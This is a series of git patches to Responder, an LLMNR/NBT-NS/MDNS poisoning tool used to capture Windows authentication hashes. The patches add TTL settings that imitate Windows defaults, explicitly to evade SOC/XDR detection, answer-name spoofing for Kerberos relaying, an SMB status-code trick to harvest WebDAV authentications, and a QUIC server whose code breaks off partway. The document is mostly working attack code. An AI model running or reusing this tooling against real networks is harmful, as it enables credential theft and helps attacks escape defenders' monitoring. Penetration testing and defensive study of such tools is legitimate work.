"\x00\x20"), ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), + ("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior) ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), @@ -263,7 +263,7 @@ class LLMNR_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type1", "\x00\x1c"), ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior). ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -316,7 +316,7 @@ class MDNS_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) @@ -338,7 +338,7 @@ class MDNS6_Ans(Packet): ("AnswerNameNull", "\x00"), ("Type", "\x00\x1c"), ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index e130273..36fe7c3 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -76,7 +76,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == True: # Poisoning Mode - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + #Default: + if settings.Config.TTL == None: + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + else: + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: @@ -90,7 +94,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == 'IPv6' and Have_IPv6: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + #Default: + if settings.Config.TTL == None: + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + else: + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index b1049bc..3ef0c7c 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,11 @@ class MDNS(BaseRequestHandler): }) elif MDNSType == True: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) + #Use default: + if settings.Config.TTL == None: + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + else: + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: @@ -85,9 +89,13 @@ class MDNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - elif MDNSType == 'IPv6'and Have_IPv6: # Poisoning Mode + elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + #Use default: + if settings.Config.TTL == None: + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + else: + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 446dc06..ff3a1cd 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '1', }) else: # Poisoning Mode - Buffer1 = NBT_Ans(TTL=settings.Config.TTL) + if settings.Config.TTL == None: + Buffer1 = NBT_Ans() + else: + Buffer1 = NBT_Ans(TTL=settings.Config.TTL) Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/settings.py b/settings.py index ea895f3..bdca9c2 100644 --- a/settings.py +++ b/settings.py @@ -175,8 +175,12 @@ class Settings: # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] - # Random TTL + # Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py) if options.TTL is None: + self.TTL = None + + # Random TTL + elif options.TTL.upper() == "RANDOM": TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x')) if TTL in TTL_blacklist: TTL = int.from_bytes(TTL, "big")+1 diff --git a/utils.py b/utils.py index b216ca1..8eb15ca 100644 --- a/utils.py +++ b/utils.py @@ -559,7 +559,10 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) - print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) + if settings.Config.TTL == None: + print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1)) + else: + print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) print('') print(color("[+] ", 2, 1) + "Current Session Variables:") From 990df258a68bb39bf4c63852934941765b9cd500 Mon Sep 17 00:00:00 2001 From: brightio Date: Tue, 10 Sep 2024 16:49:31 +0200 Subject: [PATCH 207/219] StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status --- utils.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/utils.py b/utils.py index 8eb15ca..fe2a56f 100644 --- a/utils.py +++ b/utils.py @@ -494,9 +494,9 @@ def StartupMessage(): print('') print(color("[+] ", 2, 1) + "Poisoners:") - print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled)) - print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) - print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) + print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled)) + print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled)) print(' %-27s' % "DNS" + enabled) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print('') From e918fe01c617e482d8b24525db581c403104ab28 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 24 Sep 2024 11:06:50 -0300 Subject: [PATCH 208/219] added option to disable a TLD due to windows 11 infinite loop with _dosvc --- Responder.conf | 6 +++++- settings.py | 3 ++- utils.py | 7 ++++++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/Responder.conf b/Responder.conf index 180e94f..a9eac42 100755 --- a/Responder.conf +++ b/Responder.conf @@ -58,9 +58,13 @@ RespondToName = DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) -; Example: DontRespondTo = NAC, IPS, IDS +; Example: DontRespondToName = NAC, IPS, IDS DontRespondToName = ISATAP +; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD. +; Example: DontRespondToTLD = _dosvc, _blasvc, etc +DontRespondToTLD = _dosvc + ; If set to On, we will stop answering further requests from a host ; if a hash has been previously captured for this host. AutoIgnoreAfterSuccess = Off diff --git a/settings.py b/settings.py index bdca9c2..ee96190 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.4.0' +__version__ = 'Responder 3.1.5.0' class Settings: @@ -284,6 +284,7 @@ class Settings: self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) + self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')])) self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) #add a .local to all provided DontRespondToName self.MDNSTLD = ['.LOCAL'] diff --git a/utils.py b/utils.py index fe2a56f..38a72b1 100644 --- a/utils.py +++ b/utils.py @@ -122,7 +122,10 @@ def RespondToThisIP(ClientIp): return False def RespondToThisName(Name): - if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: + + if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]: + return False + elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: return False elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: if Name.upper() not in settings.Config.DontRespondToName: @@ -559,6 +562,8 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + if len(settings.Config.DontRespondToTLD): + print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1)) if settings.Config.TTL == None: print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1)) else: From d3dd37a324341342a891d776d73a3e07a1c77dc8 Mon Sep 17 00:00:00 2001 From: User Date: Thu, 23 Jan 2025 14:35:41 -0800 Subject: [PATCH 209/219] Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose --- README.md | 15 ++++++++++++--- Responder.py | 1 + poisoners/LLMNR.py | 22 ++++++++++++++++------ settings.py | 1 + 4 files changed, 30 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 7ee2a49..731cbaa 100755 --- a/README.md +++ b/README.md @@ -157,15 +157,24 @@ Options: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be - ON. Default: False + ON. This option is highly effective. Default: False + -Q, --quiet Tell Responder to be quiet, disables a bunch of + printing from the poisoners. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. + -t 1e, --ttl=1e Change the default Windows TTL for poisoned answers. + Value in hex (30 seconds = 1e). use '-t random' for + random TTL + -N ANSWERNAME, --AnswerName=ANSWERNAME + Specifies the canonical name returned by the LLMNR + poisoner in tits Answer section. By default, the + answer's canonical name is the same as the query. + Changing this value is mainly useful when attempting + to perform Kebreros relaying over HTTP. - - ## Donation ## You can contribute to this project by donating to the following $XLM (Stellar Lumens) address: diff --git a/Responder.py b/Responder.py index bbd3c7a..bfe13cf 100755 --- a/Responder.py +++ b/Responder.py @@ -46,6 +46,7 @@ parser.add_option('--lm', action="store_true", help="Force LM h parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) +parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 36fe7c3..25e020e 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + if settings.Config.AnswerName is None: + AnswerName = Name + else: + AnswerName = settings.Config.AnswerName LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host @@ -78,14 +82,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class elif LLMNRType == True: # Poisoning Mode #Default: if settings.Config.TTL == None: - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) else: - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -96,14 +103,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class elif LLMNRType == 'IPv6' and Have_IPv6: #Default: if settings.Config.TTL == None: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) else: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/settings.py b/settings.py index ee96190..141e339 100644 --- a/settings.py +++ b/settings.py @@ -172,6 +172,7 @@ class Settings: self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + self.AnswerName = options.AnswerName # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] From 674342325181706c2e4c50171b38caf96364a869 Mon Sep 17 00:00:00 2001 From: Lino <123986259+L1-0@users.noreply.github.com> Date: Mon, 24 Feb 2025 11:49:06 +0100 Subject: [PATCH 210/219] Update RPC.py Fix Output of RPC.py --- servers/RPC.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/servers/RPC.py b/servers/RPC.py index ce931f5..c8074ac 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #LSARPC @@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #WINSPOOL @@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #NetLogon @@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler): #RPC.calculate() #self.request.send(NetworkSendBufferPython2or3(str(RPC))) #data = self.request.recv(1024) - #print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1)) + #print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1)) except Exception: self.request.close() From 6bf6887c49751b3f1bee219d4cf91871b80d4cff Mon Sep 17 00:00:00 2001 From: BlackWasp Date: Sun, 16 Mar 2025 23:32:19 +0100 Subject: [PATCH 211/219] Add status code control --- README.md | 5 +++++ Responder.py | 17 +++++++++-------- servers/SMB.py | 12 ++++++++++-- settings.py | 1 + 4 files changed, 25 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 731cbaa..f09820f 100755 --- a/README.md +++ b/README.md @@ -173,6 +173,11 @@ Options: answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP. + -E, --ErrorCode Changes the error code returned by the SMB server to + STATUS_LOGON_FAILURE. By default, the status is + STATUS_ACCESS_DENIED. Changing this value permits to + obtain WebDAV authentications from the poisoned + machines where the WebClient service is running. ## Donation ## diff --git a/Responder.py b/Responder.py index bfe13cf..045824b 100755 --- a/Responder.py +++ b/Responder.py @@ -47,6 +47,7 @@ parser.add_option('--disable-ess', action="store_true", help="Force ESS parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) +parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False) options, args = parser.parse_args() if not os.geteuid() == 0: @@ -301,16 +302,16 @@ def main(): # Load (M)DNS, NBNS and LLMNR Poisoners if settings.Config.LLMNR_On_Off: - from poisoners.LLMNR import LLMNR - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) if settings.Config.NBTNS_On_Off: - from poisoners.NBTNS import NBTNS - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) if settings.Config.MDNS_On_Off: - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. @@ -348,8 +349,8 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: - from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: diff --git a/servers/SMB.py b/servers/SMB.py index b93ebb7..2110927 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP ## Session Setup 3 answer SMBv2. if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': ParseSMBHash(data, self.client_address[0], Challenge) - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1')) t = SMB2Session2Data() packet1 = str(head)+str(t) buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) @@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.send(NetworkSendBufferPython2or3(Buffer)) else: ParseLMNTHash(data,self.client_address[0], Challenge) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head) + str(SMBSessEmpty()) Buffer = StructPython2or3('>i', str(Packet))+str(Packet) self.request.send(NetworkSendBufferPython2or3(Buffer)) diff --git a/settings.py b/settings.py index 141e339..db99c1e 100644 --- a/settings.py +++ b/settings.py @@ -173,6 +173,7 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet self.AnswerName = options.AnswerName + self.ErrorCode = options.ErrorCode # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] From e781559be0def04affdc0eaadb7b92a4efbeec45 Mon Sep 17 00:00:00 2001 From: BlackWasp Date: Sun, 16 Mar 2025 23:40:51 +0100 Subject: [PATCH 212/219] Indentation typos --- Responder.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Responder.py b/Responder.py index 045824b..f80c157 100755 --- a/Responder.py +++ b/Responder.py @@ -302,16 +302,16 @@ def main(): # Load (M)DNS, NBNS and LLMNR Poisoners if settings.Config.LLMNR_On_Off: - from poisoners.LLMNR import LLMNR - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) if settings.Config.NBTNS_On_Off: - from poisoners.NBTNS import NBTNS - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) if settings.Config.MDNS_On_Off: - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. @@ -349,8 +349,8 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: - from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: From 871cdffa97d4edb70e39df839711a0291e440bce Mon Sep 17 00:00:00 2001 From: Joshua Fickett Date: Thu, 3 Apr 2025 15:16:00 -0400 Subject: [PATCH 213/219] added quic support based on xpn's work --- Responder.conf | 1 + Responder.py | 7 ++ requirements.txt | 1 + servers/QUIC.py | 168 +++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 1 + 5 files changed, 178 insertions(+) create mode 100644 servers/QUIC.py diff --git a/Responder.conf b/Responder.conf index a9eac42..b74a851 100755 --- a/Responder.conf +++ b/Responder.conf @@ -8,6 +8,7 @@ NBTNS = On ; Servers to start SQL = On SMB = On +QUIC = On RDP = On Kerberos = On FTP = On diff --git a/Responder.py b/Responder.py index bfe13cf..9a4b342 100755 --- a/Responder.py +++ b/Responder.py @@ -14,6 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import asyncio import optparse import ssl try: @@ -361,6 +362,12 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) + if settings.Config.QUIC_On_Off: + from servers.QUIC import start_quic_server + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key)))) + if settings.Config.Krb_On_Off: from servers.Kerberos import KerbTCP, KerbUDP threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) diff --git a/requirements.txt b/requirements.txt index 7823774..8bd1f34 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1,2 @@ +aioquic netifaces>=0.10.4 diff --git a/servers/QUIC.py b/servers/QUIC.py new file mode 100644 index 0000000..a2397f5 --- /dev/null +++ b/servers/QUIC.py @@ -0,0 +1,168 @@ +import asyncio +import logging +import ssl +import argparse +import netifaces +from utils import * +from aioquic.asyncio import serve +from aioquic.asyncio.protocol import QuicConnectionProtocol +from aioquic.quic.configuration import QuicConfiguration +from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated + +BUFFER_SIZE = 11000 + +def get_interface_ip(interface_name): + """Get the IP address of a network interface.""" + try: + # 